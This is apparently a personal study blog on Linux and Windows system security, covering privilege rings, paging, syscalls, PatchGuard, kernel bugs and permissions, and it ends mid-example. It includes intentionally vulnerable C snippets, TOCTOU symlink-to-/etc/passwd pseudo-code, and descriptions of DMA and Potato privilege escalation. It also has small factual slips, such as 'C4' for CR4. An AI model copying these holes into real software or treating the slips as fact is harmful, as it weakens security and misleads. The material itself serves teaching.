This article is above all a giant note-taking to get a global view of Linux and Windows system security. Some concepts are not as deep as they should be, but it allowed me to learn a lot of things.
When I quote opus 4.8 or another AI, it means it helped me understand a concept and that one of its sentences was just perfect to understand and did not need rewording. I also make it correct the spelling, some translations, and improve the markdown formatting.
Some examples were done on Ubuntu, others on NixOS, but the concepts don't change.
Operating System Security
Hardware Foundations
"The OS can only enforce what the hardware let it enforce."
CPU privilege levels
An computer where all the programme can execute any instruction, read any file, or write anywhere in memory, would create a dangerous environment where, for example, an MP3 player app could read passwords stored in another app, delete system files, etc...
The OS is supposed to prevents this. But software cannot protect itself from other software. If both the malicious program and the operating system are sequences of instructions, the malicious program could simply "jump" into the OS code, bypass security checks, and do whatever it wants.
That is why we placed this control at the CPU level.
Rings and the supervisor/user split
CPU manufacturers have integrated "protection rings" into the processor :
Ring 0 most privileged mode
Code running here has access to all CPU instructions and all memory. This is where the kernel of the OS live :
-
Configure the MMU : Decide which area of physical memory is visible to which program.
-
Prevent the CPU from being interrupted during a critical operation.
-
Change privilege levels (Switch itself to Ring 3).
-
Read and write to input/output ports (to communicate with the physical part of the computer).
Ring 3 least privileged mode
Standard applications run here with a lot of restriction.
The code executed here is considered untrusted. It has access only to a subset of instructions known as "unprivileged." These are basic instructions: adding numbers, moving data within its own memory, performing conditional jumps etc..
In theory, the four rings could be used to create a highly granular privilege hierarchy. But in practice, modern OS use only two.
OS/2, for example, used Ring 1 for drivers and Ring 2 for system daemons but this significantly slowed down the machine. And in practice, drivers require just as many privileges as the kernel.
How the CPU handles this physically
The Code Segment Selector (CS) register has 16 bits in total. The Current Privelege Level (CPL), is stored in the 2 least significant bits of this register. Bits 0 and 1 contain the Requested Privilege Level (RPL). When the CPU executes code, these two bits represent the CPL (Current Privilege Level). If these bits are 11 in binary (3 in decimal), you are in Ring 3. If they are 00, you are in Ring 0.
Bits 3 to 15 in the CS register points to an entry in a memory table (the GDT or LDT). But we will talk about this later.
A program running in Ring 3 might want to overwrite the CS register to switch to Ring 0. It's impossible because every instructions used to modify CS (mov CS, *) is a privileged instruction if the CPU decodes it while the CPL is 3, it raises an exception.
To determine whether an instruction is permitted, the CPU performs a simple operation:
Retreive the Descriptor Privilege Level (DPL) : the privilege level required to execute the instruction (this is an attribute hardwired into the physical decoder for sensitive instructions, OR retrieved from the Descriptor Table).
Retreive the CPL of the current CPU privilege level.
If (CPL =< DPL) the instruction is permitted.
If the condition fails, the control unit does not pass the instruction to the ALU (the arithmetic logic unit). All the following instructions that were being prepared are discarded. So now the goal is to trigger the exception handled by the OS at a ring 0 level to do this:
The CPU retrieves the address of the "interrupt table" in RAM from the Interrupt Descriptor Table Register (IDTR). It reads descriptor number 13 (the General Protection exception).
This descriptor contains a new CS with bits 0 and 1 set to ring 0. The CPU loads this new selector into the CS register. In this way the transition from Ring 3 to Ring 0 is performed by the hardware, not by the problematic software.
// opus 4.8
#include <stdio.h>
#include <stdlib.h>
int main() {
printf("Hello\n");
// Attempt to execute the CLI (Clear Interrupt Flag) assembly instruction.
// This instruction tells the CPU to stop listening for hardware interrupts.
__asm__ volatile("cli");
printf("World !\n");
return 0;
}
The instruction that stop the process is :
(gdb) info registers
rip 0x55555555514c 0x55555555514c <main+19> <----- main+19 is in rip
(gdb) disass main
Dump of assembler code for function main:
0x0000555555555139 <+0>: push %rbp
0x000055555555513a <+1>: mov %rsp,%rbp
0x000055555555513d <+4>: lea 0xec0(%rip),%rax # 0x555555556004
0x0000555555555144 <+11>: mov %rax,%rdi
0x0000555555555147 <+14>: call 0x555555555030 <puts@plt>
=> 0x000055555555514c <+19>: cli <------- corresponding to cli
Descriptor Table
Descriptor Table is an array stored in RAM. Each entry describes a memory area and the associated rights. As a reminder (we'll talk about this more in virtual memory), but when the program runs, it thinks it has all the RAM to itself. This is an illusion create by the kernel and the MMU who give it a private virtual address space. And these spaces are described in the descriptor table.
-
The Global Descriptor Table (GDT) is the primary table, shared by the entire system.
-
The LDT (Local Descriptor Table): Rarely used today, it allowed each process to have its private segments.
There is a register in the CPU called GDTR who holds the physical address where the GDT begins in RAM, and its size.
Each entry (8 bytes on x86-64) contains binary fields. The "Code Segment" entry contains (among other things) the Descriptor Privilege Level (DPL) describing the privilege level required to use the segment.
To summarize, there are two complementary hardware mechanisms for protecting the system :
-
Opcode-based protection: Certain sensitive instructions (such as HLT or LGDT) are hardcoded into the CPU decoder to require a CPL of 0.
-
Memory-area-based protection: Kernel code and data are placed in segments (described in the GDT) where the DPL field is set to 0. Even if an instruction is harmless (such as a simple "nop"), the CPU verifies the segment's access rights at the time of the operation. If a Ring 3 program attempts to jump to an address within a DPL 0 segment or read data from that segment, the MMU or segmentation unit denies access and raises a hardware exception.
Why the OS is powerless without the CPU
If a program running in Ring 3 attempts to execute an instruction reserved for Ring 0. The CPU halts the program instantly and jumps to an exception handler registered by the OS (running in Ring 0).
While the OS has set the exception handler, it is the transistor within the CPU that actually request it.
Virtual memory, page table and the MMU
While privilege rings (discussed earlier) protect the system from the program, the MMU (Memory Management Unit) protects programs from other.
When the program runs, it thinks it has all the RAM to itself, from address 0 to the maximum. This is false. The kernel and the MMU (Memory Management Unit, in the CPU) give it a private virtual address space.
Without this, any program could read the memory of another, more sensitive one.
Let's imagine that our Process "A" performs a calculation: it wants to read the value stored at address 0x1000.
The CPU must translate the virtual address into a physical address. This is the job of the MMU (Memory Management Unit), a hardware component integrated into the CPU (or located very close to it), which reads the "Page table" (created by the OS, and stored in RAM), where the mapping is found :
"Process A's virtual address 0x1000 actually corresponds to physical address 0xF000."
CPU receive "mov rax, [0x1000]"
CPU -- [0x1000] --> MMU
MMU read CR3 register (in x86) that contain the physical addresse of the Page table of the current process.
The MMU will perform a "Page walk" to retreive the Page Table Entry (the actual physical address), for example 0xF000
MMU read 0xF000 and send the value to the CPU.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
int value = 475;
printf("The value %d is stored at virtual address: %p\n", value, (void*)&value);
printf("Pid of process : %d\n", getpid());
sleep(100);
return 0;
}
# Generated by opus 4.8, commented by a human
import struct
pid = 26372
virt_addr = 0x7ffec3bbf32c
# Standard memory page size on x86/x64 systems
page_size = 4096
# The virtual address is split into two parts, page_number extracts the virtual page number
page_number = virt_addr // page_size
# and offset the exact position within this page (the low-order bits)
offset = virt_addr % page_size
with open(f'/proc/{pid}/pagemap', 'rb') as f:
# Each entry is 8 bytes, so we jump to N * 8
f.seek(page_number * 8)
entry = struct.unpack('Q', f.read(8))[0]
# Bits 0 to 53 of the input contain the physical page number
phys_page = entry & ((1 << 54) - 1)
phys_addr = (phys_page * page_size) + offset
print(hex(virt_addr))
print(hex(phys_addr))
And what happens if we try to read the actual physical address ? It's not working...
dd if=/dev/mem bs=1 skip=$((0x307a2532c)) count=4 status=none | xxd
dd: error reading '/dev/mem': Operation not permitted
This is CONFIG_STRICT_DEVMEM, a software protection layer added by Linux that prohibits raw reads of RAM, even for a process running as root.
To retrieve the data, you must use the designated path that is, the virtual address:
sudo dd if=/proc/29242/mem bs=1 skip=$((0x7ffcb076587c)) count=4 status=none | xxd
00000000: db01 0000
# db01 = 0x1db in big endian, and 475 in decimal
Performing RAM reads to translate a single address is very slow. To speed this up, the CPU features a cache known as the Translation Lookaside Buffer (TLB) that stores recent translations.
Page permissions and W^X
The Page Table Entry contains more than just the physical address it also includes flags that the MMU read during each memory access. among other, there is :
- The User/Supervisor : If the bit is set to 1 : Code executing in Ring 3 is permitted to access this page. If the bit is set to 0 : Only code running in Ring 0 can read from or write to this location. The MMU can blocks the access and raises a Page Fault :
// Generated by opus 4.8, commented by a human
#include <stdio.h>
#include <stdlib.h>
int main() {
// High address range reserved for kernel mapping not readable by the process
unsigned long *kernel_addr = (unsigned long *)0xffffffff80000000;
unsigned long value = *kernel_addr;
return 0;
}
./permissions_demo
Segmentation fault (core dumped) ./permissions_demo
# The MMU read the flag (U/S = 0) in this entry. Detecting that the CPU was in User mode (Ring 3), it blocked the reading
-
The Read/Write : Determines whether the page is read-only or if writing is permitted.
-
The NX (also called Execute Disable or XN by ARM): If enabled, the CPU refuses to execute any code located on that page.
A memory page must never be both writable and executable (W xor X). This makes it more difficult to exploit memory-related vulnerabilities (see the article on memory vulnerabilities).
Note that this has nothing to do with the UNIX read and write rights "rwx". Here we talk about rights on the physical RAM.
Process isolation through address spaces
On a single-core CPU, processes do not run simultaneously. They take turns running. This mechanism is called a context switch.
When process A is running, the CR3 register points to process A page table. That is why the MMU will never provide data belonging to process A to process B.
For optimization purposes, each process includes a high-address section in its page table containing the memory mapping for kernel functions. This avoids the need for a context switch (and all the associated overhead) during a syscall. Consequently, the CPU can simply ask the MMU for the physical address corresponding to the virtual address containing the instructions requested by the program.
Note, however, that the process itself while running in Ring 3 cannot read from these addresses (even though they are part of its virtual memory space), because the associated flag specifies that the data is reserved for Ring 0. The process must therefore yield control back to the kernel so that the kernel can retrieve the values stored at those addresses.
Hardware isolation features
SMEP and SMAP
Before SMEP and SMAP, if some Ring 0 code jumped to an address located in the user memory space (because of a bug or a vulnerability), the CPU just executed that code (why not? The user code is executable, the CPU is in supervisor mode, everything is allowed).
Supervisor Mode Execution Prevention (SMEP) limits this behavior with a control bit in the C4 register (on x86). If this bit is enabled, Ring 0 code is not allowed to execute instructions located in memory pages marked as belonging to the user. So instead of having a hierarchy like the one explained before with the rings, we get a full separation.
This stops any possibility of "ret2usr", a class of kernel bug exploitation. The CVE-2013-2094 "Linux Kernel perf_event" comes from this class: a bug in a kernel syscall allowed to corrupt a function pointer in the kernel. The exploit made this corrupted pointer point to a shellcode placed in user memory, then triggered its execution:
// opus 4.8
Ring 0 | Ring 3
|
ptr -> func() |
|
|
|
perf_event_open syscall |
doesn't properly validate |
a function pointer |
passed by the user. |
The attacker can |
overwrite this pointer |
with an address of |
their choice. |
|
The kernel, thinking it's |
calling a legit function, |
jumps to that address. |
|
ptr ------------------------------> shellcode() executed with
| Ring 0 permissions
|
| Result: the attacker
| is now root.
Right after the SMEP bit in the C4 register, there is the bit that enables SMAP (Supervisor Mode Access Prevention), which completes this separation. Thanks to it, Ring 0 code is not allowed to read or write in memory pages marked as belonging to the user. This avoids the kernel trusting too much the data given by the user, which could lead to privesc.
Be careful though, the kernel needs to be able to read and write data in userland to work. But to do this it has to use functions like "copy_from_user". We also use "stac" (Set AC flag) to allow the access for a moment, and "clac" (Clear AC flag) to forbid it again (we will talk about this in more detail later).
Or it can do something simpler: on some systems, the kernel maps the user memory into a special zone of its own address space to be able to access it.
But then, doesn't this fully bypass SMAP? The goal of SMAP is not to forbid the kernel from accessing user memory, it is to avoid it doing this by accident while thinking the data comes from ring 0.
DMA
At first, for a program to read data from the hard drive, it asks the CPU, which gives the read order to the disk driver. The driver reads the data, puts it in a buffer and sends an interrupt signal to the CPU to tell it the operation is done. The CPU (through the kernel) then copies the data from the disk buffer to the memory of the application that waits for it.
./read_addr1.bin --- "plz let me read addr1" --> CPU --- "hey what is the physical addresse for addr1 ?" --> MMU
MMU --- "It's 0x0016848" --> CPU
CPU --- "Get me the value of 0x0016848" --> drivers of RAM ---> RAM
drivers of RAM "hey i finish my job the value is 'spongebob'"
CPU --- 'spongebob' --> 0x0016848
This is very slow, so to optimize all this we created Direct Memory Access (DMA). The CPU directly tells the disk driver to go write in the physical RAM address, at the location expected by the program.
DMA attacks
The problem is that this device now has a direct access to the physical RAM. It fully bypasses the CPU and the MMU.
In my example I talk about the disk driver, but it could be another device. Each one potentially buggy/vulnerable/backdoored.
Also, if an attacker has physical access to the machine, they can fully take control of it through the machine ports:
-
PCIe / Thunderbolt: an attacker plugs a Thunderbolt cable into a USB-C port. Thunderbolt ports, by design, expose the PCIe bus. A plugged device becomes an extension of the motherboard.
-
PCMCIA / ExpressCard ports: old laptops were vulnerable through these ports.
-
Firewire (IEEE 1394): historically, this was the ancestor of this attack. list by opus 4.8
This allows to bypass the lock screen: "The device sends a PCIe configuration request. The BIOS/OS accepts it (often by default for Plug and Play). The device sends DMA transactions. It writes to RAM to modify a user's password or to deposit a payload that will be executed later. The OS sees nothing. The antivirus sees nothing. It is undetectable at the software level." opus 4.8
IOMMU and device isolation
To avoid this we created the Input-Output Memory Management Unit (IOMMU), a component integrated in the CPU that makes sure a device cannot read or write in a RAM zone that was not assigned to it by the OS through the IOMMU.
./read_addr1.bin --- "plz let me read addr1" --> CPU --- "hey what is the physical addresse for addr1 ?" --> MMU
MMU --- "It's 0x0016848" --> CPU
CPU --- "Disk, go write the value directly to RAM at 0x0016848" --> IOMMU
IOMMU --- "Hey RAM, the Disk wants to write 'spongebob' at 0x0016848.
let me check my table...
Okay, the Disk is allowed to touch this address."
RAM <--- IOMMU --- Disk
Disk --- "Hey CPU, I'm done!" (Interruption) --> CPU
CPU --- "Great. ./read_addr1.bin can now read 'spongebob' from its buffer."
In fact, the IOMMU is initialized by the OS when the machine starts. The OS knows that the RAM memory zones it gives access to through DMA must be used with caution.
The Kernel / User-Space Boundary
What only the kernel can do
The kernel is in charge of the "Scheduling" (which process uses the CPU and for how long), of the physical memory through the MMU, of the access to the physical hardware through the drivers, and of applying the privilege policy of the operating system.
Be careful, ring 0 and 1 have nothing to do with the rights (root / other users), but it is thanks to this physical separation that the kernel can enforce these UNIX rights, also called Access Control Lists (ACL) in the Windows context.
System calls
If a process in user space wants to do an action on the system, it goes through a syscall, which asks the kernel code to do the action (and the kernel takes this chance to check if the UNIX rights allow the user to do this action).
The Linux syscall interface
An ABI (Application Binary Interface) defines the conventions that processes use to communicate with each other. How the arguments are passed, which registers must be used, etc.
For Linux syscalls on x86-64, the convention says to use RAX for the syscall number, and registers like RDI, RSI, RDX, R10, R8 and R9 for the arguments:
; sys_write on the terminal example :
mov rax, 1
mov rdi, 1
mov rsi, msg
mov rdx, len
syscall ; 1(rdi, rsi, rdx)
; sys_write(1, msg, len)
In C, when we do something like this:
#include <unistd.h>
int main(void)
{
const char message[] = "Hello\n";
write(1, message, 6);
return 0;
}
The "write" function calls the code in the "libc" library, which prepares the real syscall and translates it for the ABI.
But once the syscall is started, what happens?
The user to kernel transition on Linux
The program puts in registers the syscall number (1 for example to write) and the other arguments (the file to write to and the content). Then it uses SYSCALL or SYSENTER (depending on the processor), or the very old interrupt "INT 0x80" on Linux x86.
The CPU sees this instruction and does a controlled "swap": - It saves the address of the instruction after the SYSCALL in the RCX register, and the current state of the processor (the flags) in R11
-
It changes the CPL from 3 to 0. How? (see below)
-
Now that the kernel has the hand, it looks at the syscall number and its arguments and checks the permissions (through the UNIX policies or the ACL on Windows). If the user has the right to write in the file, it starts the operation (then comes the MMU and so on).
-
It jumps to the kernel syscall handler (a place in RAM where the code and the address of each syscall's code is referenced), it jumps to the address of the right syscall.
-
Once done, SYSRET (or IRET) is used to go back to Ring 3 and give the hand back to the program.
About the transition from CPL 3 to 0, everything is managed through the MSR registers (Model Specific Registers):
-
At startup the OS writes in the MSR LSTAR the virtual address of the code that handles system calls.
-
And in bits 32 to 47 of the MSR STAR register, a "CS segment selector" ready to switch to Ring 0 (a 16-bit value to load into CS, whose RPL (its 2 low bits) is 00).
To switch to CPL 0, the CPU (microcoded in the SYSCALL instruction itself):
- Reads MSR STAR and loads this selector directly into the CS register. This selector has its 2 low bits at 00, so by overwriting the old CS, this selector also overwrites the old CPL and sets it to 0. It also changes all the other information in CS to switch the whole context to ring 0, for example the index (bits 3 to 15) that points to the address of a line in the GDT, which itself describes the kernel code segment.
It is exactly because this is physically "coded" in the CPU that it is possible to change ring through a syscall.
CS before:
index -> points to a userland code context
...
CPL = 11
-----------------
CS <----- bits 32 to 47 of the MSR STAR register
-----------------
CS after:
index -> points to a kernel code context (it is not a specific piece of code but a description that says for example that the running code is 64-bit and in ring 0)
...
CPL = 00
- Reads MSR LSTAR to jump to the address that contains the syscall handler.
And what happens in the syscall handler?
At this point we are in ring 0. And on Linux, entry_SYSCALL_64 is called:
swapgs: literally a swap of the GS register, which before this operation holds data linked to the userland context (data used to quickly access the data of the current CPU). The problem is that we don't want to play with user data in ring 0, so we overwrite it with a value stored in the MSR IA32_KERNEL_GS_BASE (at startup the OS wrote there the base address of the kernel per-CPU data), which holds the equivalent but for the kernel. In fact swapgs only does this: it swaps the current GS.base with the value of this MSR, hence the name.
GS now allows to access the "per-CPU" data in the kernel context. By "per-CPU" we mean the data of the current CPU core, because each of them has its own stack on which several programs run in parallel. So here we really talk about the current process on the right CPU.
So the GS register points to a per_cpu_offset structure, where it gets the address of its own kernel stack and switches to it (RSP goes from the user stack to the kernel stack).
All the registers passed by the program (the syscall number, the arguments, the return address, the flags) are pushed into a pt_regs structure on the stack.
Dispatch:
-
the kernel checks that the number in RAX is valid (lower than NR_syscalls)
-
gets the matching function pointer in the sys_call_table (an array in RAM where each cell points to the code of a syscall)
Execution: the handler function is called with the arguments taken from pt_regs.
-
permission checks (UNIX rights on the file for this user)
-
the real work of the syscall (through the MMU and the drivers)
-
the result is put in the RAX of pt_regs.
Restore and return: the registers are reloaded from pt_regs, swapgs is run again the other way.
Then SYSRET is executed:
-
it restores the userland context
-
restores RIP from RCX and RFLAGS from R11 for the rest of the program
What about Windows?
The Windows native API and the SSDT
Windows uses similar mechanisms but with some differences:
Windows forces you to go through ntdll.dll, which contains relay functions ("stubs") for each syscall. Each syscall has a stub in ntdll.dll, here is for example the one for write:
NtWriteFile:
mov r10, rcx ; Windows uses r10 for the 1st arg
mov eax, 0x6 ; syscall number (which changes between builds!)
syscall
ret
The first argument is moved from RCX to R10 because SYSCALL overwrites RCX with the return address. The next arguments stay in RDX, R8, R9.
The syscall table on the kernel side (equivalent of sys_call_table) is called "System Service Dispatch Table" (SSDT). It is stored in the ntoskrnl.exe file.
As said in the pseudo code of the NtWriteFile syscall, the syscall numbers, unlike Linux, change between each version of Windows (even a minor one). This is a Microsoft policy that, according to them, limits reverse engineering and the global auditability of the system.
It also forces developers to use the public win32 API "Windows API" instead of doing hardcoded syscalls like we can do on Linux. This is the documented and stable layer that Microsoft exposes to developers:
Applications => Win32 API (kernel32.dll, user32.dll, advapi32.dll...)
=> ntdll.dll (syscall stubs)
=> syscall
write(file) => WriteFile from kernel32.dll
=> NtWriteFile from ntdll.dll (preparing the actual syscall)
=> syscall
Here is the path taken when a syscall is used (it is comparable to Linux):
syscall executed from ntdll
The CPU loads CS from MSR STAR (bits 32-47) to switch to Ring 0.
It sets the RIP register to KiSystemCall64 through MSR LSTAR, which holds its address.
KiSystemCall64:
- swapgs (same thing as on Linux)
- Saves the user context
- Uses RSP from the KPCR (Kernel Processor Control Region)
- Reads the number in EAX
- Indexes into the SSDT
- Checks that EAX < ServiceLimit
- Calls the handler
opus 4.8
What is the Kernel Processor Control Region? The equivalent of the Linux per-CPU variables.
An almost interesting detail: Windows has two syscall tables, one for the normal ones and one for the GUI part. A bit in EAX can tell which table to use.
PatchGuard
On Linux, everyone can load kernel modules and so change the behavior of the kernel. Not on Windows.
Very interesting for the history of antiviruses (I will probably do an article with more detail), but roughly.
Before Windows Vista, antiviruses mostly worked by hooking the SSDT: they saved the original address of the call, put their code at this location, checked if the process was legit or not, then returned to the real syscall.
The problem is that not only malwares did the same thing, but it also created conflicts and huge bugs.
To guarantee the integrity of the kernel, Microsoft created Kernel Patch Protection: a mechanism started before all the others in the kernel that watches if the integrity of the SSDT (and other components) is compromised. A blue screen is triggered if it is the case.
This is the moment when the story of userland antiviruses started (and there is a lot to say about it...).
And Windows Defender, it has the right, no?
opus 4.8 :
Technically, Microsoft could sign drivers with special privileges and include Defender directly in the kernel.
But they don't do it because the other antivirus vendors already filed a complaint (antitrust lawsuit).
Also it would require to guarantee the security of Windows Defender itself, because it would then become very privileged.
So Defender plays with the same rules as the others. It runs in userland, but Microsoft gives it (like the other EDR since PatchGuard) the "official" doors to watch the kernel without patching it:
- documented kernel callbacks (ObRegisterCallbacks for process/thread handles, PsSetCreateProcessNotifyRoutine for process creation, minifilters for the file system). The kernel calls your driver, you don't rewrite the kernel.
- ELAM (Early Launch Anti-Malware): the antimalware driver is loaded before the other drivers at boot, which lets it judge if they are legit.
- its process (MsMpEng.exe) runs as PPL (Protected Process Light, anti-malware light), so even an admin cannot easily open it or kill it (we will talk about PPL later).
In short, the only "favor" is ELAM + PPL, not a special ring 0 access that competitors would not have.
Kernel vulnerabilities
Argument and pointer validation
Most kernel vulnerabilities are linked to a bad validation of the user input.
Let's imagine:
sys_write_to_file(char *user_buffer, size_t length)
sys_write_to_file(user_buf, size_t, length)
{
char kernel_buffer[50];
memcpy(kernel_buffer, user_buf, length);
write_to_file(kernel_buffer, length);
}
To avoid this, the kernel provides dedicated functions that validate and then copy the data in a safe way.
The most known is copy_from_user:
-
Checks if the requested memory zones really belong to userland (it compares the address with the limit of the user space)
-
Handles the exceptions without a crash (a bit like a try catch)
-
Implements the mechanism to pass the SMAP protection (we talked about it above, it is what allows the kernel to access userland)
get_user is used to copy a simple value (an integer for example) from the user space into a kernel variable. It works on the same principle.
Windows uses the same type of protection with different names: ProbeForRead, ProbeForWrite, RtlCopyMemory.
Now some examples of kernel vulns:
CVE-2016-8655
AF_PACKET is a Linux socket libs that allow the user to send and receive raw network packets directly at the device driver.
Vulnerable code (simplified):
if (req->tp_block_nr) {
/* req->tp_block_size and req->tp_block_nr are unsigned integers controlled by the user,
and we trust them to set the size of the future pg_vec buffer
*/
size = req->tp_block_size * req->tp_block_nr;
/* Compute the needed page order */
int order = get_order(size);
/* Allocate the page vector */
pg_vec = alloc_pg_vec(req->tp_block_nr, order);
if (!pg_vec)
goto out;
}
So if an attacker puts an integer that triggers an integer overflow (see the article on memory vulnerabilities), in the end the buffer size is very small or even zero, in any case below what was planned to receive the user data.
The fix is quit easy :
The check makes sure that the product tp_block_size * tp_block_nr will never go above UINT_MAX, because if tp_block_size is greater than the quotient, then the multiplication will always overflow.
Bugs at the boundary
In the previous part we talked about bugs inside the kernel. But there is also a whole class of bugs at the boundary between userland and the kernel.
Confused deputy and privilege confusion
A deputy is a component that acts with privileges on behalf of someone else. Confused deputy is a trust problem between components (not a CPU ring). The deputy can be a setuid binary (userland, UID 0) or a kernel subsystem (Ring 0) that acts with the privileges of another context.
This kind of feature can be very useful, for example on Linux to change your password with passwd: a user runs the binary with root rights. Of course the program is supposed to be very strict and to allow only this action for this user:
The "s" in "rws" means setuid. It means the program runs with UID 0 (root).But if a misused or unintended feature of the program lets the user run commands, then there is privilege escalation.
Example of a confused deputy on Linux:
The find binary that the current user can run as root (through sudo) can do much more than searching for files... It can run commands:
When we talk about deputy confusion, there are three types:
-
Identity confusion: the kernel thinks the caller is the privileged process
-
Resource confusion: we make the deputy point to a resource controlled by the attacker
-
Privilege confusion: a component runs with more rights than it should because it inherits a privileged context.
TOCTOU race conditions
Time-Of-Check to Time-Of-Use: the kernel checks a condition at one moment, then uses the resource. In between, the attacker has modified the resource....
// pseudo code
if ("/tmp/file" is WRITABLE_BY_USER) {
// the attacker changes /tmp/file into a symlink to /etc/passwd
fd = open("/tmp/file");
write(fd, data, len);
}
Since this window is only a few microseconds, attackers use techniques to control the timing:
-
userfaultfd lets a userland process handle by itself the page faults of its own memory space. In our case it is used as a trick to stop the program at the right moment.
-
FUSE lets you mount a filesystem managed by a userland program. If the kernel does a check on a FUSE file, the userland program can answer slowly.
To fix this there are several techniques:
-
restrict "userfaultfd" to privileged processes (since Linux 5.11).
-
use atomic operations (access() then open() are two separate operations):
-
open() with O_NOFOLLOW makes the check and open operation indivisible.
-
openat() with O_PATH then fstat(): instead of checking a path then opening it, open first and check after on the fd.
-
We will talk about it in much more detail later in the article, but on top of being very careful about the features given by privileged programs, we can use "seccomp", which filters which syscalls are legit or not for a program. For example, a deputy that reads privileged data does not need sys_write nor execve. Even if it is compromised, it will not be able to run a shell or exfiltrate data.
Processes and Threads
The runtime containers the OS schedules and keeps apart.
Process identity and inheritance
The identity of a process is defined by its identification information (commonly called "credentials").
On Linux, it is mainly the UID (User ID), the GID (Group ID) and the supplementary groups.
$ id
uid=1000(nohor) gid=100(users) groups=100(users),1(wheel),57(networkmanager),72(vboxusers),131(docker)
uid=1000(nohor) : the UID of the current user (its main identity) + the associated name
gid=100(users) : the main group of the process (the one that will own the files it creates)
groups=... : all the supplementary groups nohor belongs to. They widen its access:
wheel (right to use sudo), docker (access to the docker socket = almost root, see below), etc.
$ ps -ef
UID PID PPID C STIME TTY TIME CMD
nohor 79444 77683 99 20:16 pts/0 00:00:00 ps -ef
UID : the owner of the process (here nohor)
PID : the id of the process (79444)
PPID : the PID of the parent, the one that fork()ed it (77683, here the shell)
C : the CPU usage percentage
STIME : the start time
TTY : the terminal the process is attached to (pts/0)
TIME : the total CPU time used
CMD : the command that was run
On Windows, this is the Access Token, which holds the user's SID (Security Identifier), their groups, and their privileges. Every time a process tries an action, the kernel compares this information with the ACL of the target resource.
This identity is not static; it is inherited. When a process creates a child, the child receives a copy of its parent's identity.
Credentials and the fork/exec, CreateProcess model
How children inherit their parent's rights, and where that leaks privilege.
Unix world: - fork() creates an almost identical copy of the parent process, including its address space and its credentials.
- exec() replaces the memory image of the process with a new program, but keeps the inherited credentials.
This is handy because a program can fork(), and the child can drop its privileges (go from root UID to a user UID) before calling exec() to start a non-privileged service. This avoids a privileged process, when calling an external lib, letting this potentially vulnerable code run with its rights if it does not need them:
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
int main() {
/* fork creates an exact copy of the process in memory,
so the subsequent instructions will execute in both the child and the parent */
pid_t pid = fork();
if (pid == 0) {
// We are in the child process
printf("Children UID prior to the remove of the privilege = %d\n", getuid());
// We drop root privileges and switch to UID 1000 (standard user).
setuid(1000);
printf("Children UID after = %d\n", getuid());
/* Replace the process image with /bin/ls to list the root folder
but the current process run with UID 1000, not root */
execl("/run/current-system/sw/bin/ls", "ls", "-l", "/root", NULL); // so this will fail
perror("execl fail");
return 1;
} else {
// Parent process wait for the children
wait(NULL);
}
return 0;
}
Children UID prior to the remove of the privilege = 0
Children UID after = 1000
ls: cannot open directory '/root': Permission denied
On Windows, the CreateProcess model is monolithic. The new process is created with a specified or inherited access token. There is no intermediate step where you can change the identity before the code starts to run.
Threads and shared state
A thread is the execution unit inside a process. Unlike processes, which are isolated from each other, all the threads of the same process share the same address space (stack, heap, etc.).
This is exactly where the danger is: there is no protection between threads. For a real isolation, you need to use separate processes, because only they get the hardware protection of the MMU.
Threads impersonation on Windows
On Windows, a thread can impersonate the identity of another user. This means it will run code under a different access token than the one of the process that contains it.
This is handy, for example, for servers that must act on behalf of a client. But it comes with huge security risks.
Impersonation on Windows is based on the notion of tokens: - Each process has a Primary Token that defines its default identity.
- Each thread can have an Impersonation Token.
Step by step, in a typical server/client application example: - an application receives a connection from a client
-
The client authenticates
-
The server calls an API like ImpersonateNamedPipeClient or ImpersonateLoggedOnUser; the API gets the client's token and attaches it to the running thread
-
When a thread does a syscall, the kernel checks the identity carried by the thread, not the one of the process
-
All the actions of this thread are evaluated as if they were done by the client.
"If an attacker manages to talk to a privileged service and convince it to impersonate their own token (the attacker's one), the service will do actions with the attacker's rights. But even worse, if the attacker uses techniques like the "Potato" (Rotten Potato, Juicy Potato), they can force a service that has SeImpersonatePrivilege to impersonate the SYSTEM account. The attacker then gets a full privilege escalation, going from a simple service to a total control of the machine. This is why the management of tokens and impersonation privileges is a critical point of Windows security." opus 4.8
Linux Privileges and Permissions
UID 0 and why root is special
In Unix systems, a process is identified by a UID and a GID. UID 0 is reserved for root. This account bypasses most of the DAC checks.
$ id
uid=1000(nohor) gid=100(users) groups=100(users),1(wheel),57(networkmanager),72(vboxusers),131(docker)
# id
uid=0(root) gid=0(root) groups=0(root)
Even if root is not directly fully omnipotent (SELinux or AppArmor can confine root itself (see related chapter)), on a classic Linux system, getting UID 0 means getting control of the machine.
Real, effective and saved UID/GID
A Linux process does not have a single UID, but several:
-
real UID (ruid): the identity of the user who started the process
-
effective UID (euid): the identity used for most of the permission checks
-
saved (suid): lets a setuid-root program drop its privileges for a moment, then take them back (see the chapter Credentials and the fork/exec, CreateProcess model)
-
fsuid: the identity used only to check the file access rights ("By default, fsuid automatically follows the euid: if the euid changes, the fsuid changes too. So we almost never see a difference. But we can split them with the setfsuid() system call. This is useful when a program runs with privileges (for example root) and wants to access files as if it was another user, without changing its euid. The historical use: a user-space NFS server had to access files with the identity of the remote client. Changing the euid would have let this client send signals to the server (kill), because the right to send signals depends on the euid. Changing only the fsuid avoids this risk." opus 4.8)
The same concepts exist for the GIDs (group id) (real, effective, saved, fsgid): they widen the permissions: a file accessible by any of these groups is accessible to the process.
$ id
uid=1000(nohor) gid=100(users) groups=100(users),1(wheel),57(networkmanager),72(vboxusers),131(docker)
// nohor has users (GID 100) as main group, and wheel, networkmanager, vboxusers and docker as supplementary groups. This gives it access to the files whose owner group is one of these groups, like the Docker socket:
Linux and Windows use different models. Linux is historically based on the owner/group/others triplet, completed by ACLs, extended attributes and different security mechanisms. Windows uses a richer model based on security descriptors, ACEs, DACLs and SACLs, that applies to many types of objects of the system.
File permissions
The first column represents the file type and the permissions. In this example, -rw-r--r-- shows a regular file whose owner can read and write, while the group and the other users can only read it.On a directory, the r right allows to get the list of the directory entries, while w allows to create, delete or rename entries when the other needed conditions are met. The x right is the traversal of the directory: it allows to access the objects whose path goes through this directory, depending on their own permissions :
$ mkdir demo && echo "secret" > demo/file.txt
# user has read-only access; they cannot cross
$ chmod u=r demo
$ ls demo
file.txt
$ ls -l demo
ls: cannot access 'demo/file.txt': Permission denied
total 0
-????????? ? ? ? ? ? file.txt # we cannot retrieve any information about the files and their permissions within the folder
$ cat demo/file.txt
cat: demo/file.txt: Permission denied
# x without r: listing is not possible, but a file can be accessed if its name is known
$ chmod u=x demo
$ ls demo
